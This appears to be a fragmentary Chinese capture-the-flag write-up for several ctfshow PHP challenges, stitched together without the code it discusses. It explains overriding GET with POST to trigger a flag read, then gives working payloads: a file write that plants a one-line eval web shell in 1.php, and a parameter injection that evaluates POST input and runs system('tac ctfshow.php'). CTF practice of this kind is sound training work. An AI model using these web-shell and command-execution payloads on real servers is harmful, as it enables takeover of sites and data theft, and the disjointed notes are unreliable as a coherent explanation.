a[]=123&b[]=1234

分析上面的代码可以看出来，只要有输入的get参数就将get方法改变为post方法(修改了get方法
的地址），而第二三行代码没啥用，我们用不到，直接看第四行，如果get参数HTTP_FLAG的值为
flag，就读取文件，也就是输出flag。所以思路就有了，我们通过get随便传一个参数并赋值，
然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。

GET:?1=1
POST:HTTP_FLAG=flag

 array()，是空数组定义，题中定义了$allow为空数组
0x36d，其十进制为877
rand()，返回随机整数
array_push()，是向数组尾部插入新的值
file_put_contents()，写文件

?n=1.php
content=<?php @eval($_POST[1]);?>

get:/?v1=1&v2=eval($_POST[1])?> %23&v3=;
post:1=system("tac ctfshow.php");

$flag_is_3110c36f0x2df28a0x2d4b840x2dbe0f0x2d2c4f600a4b95;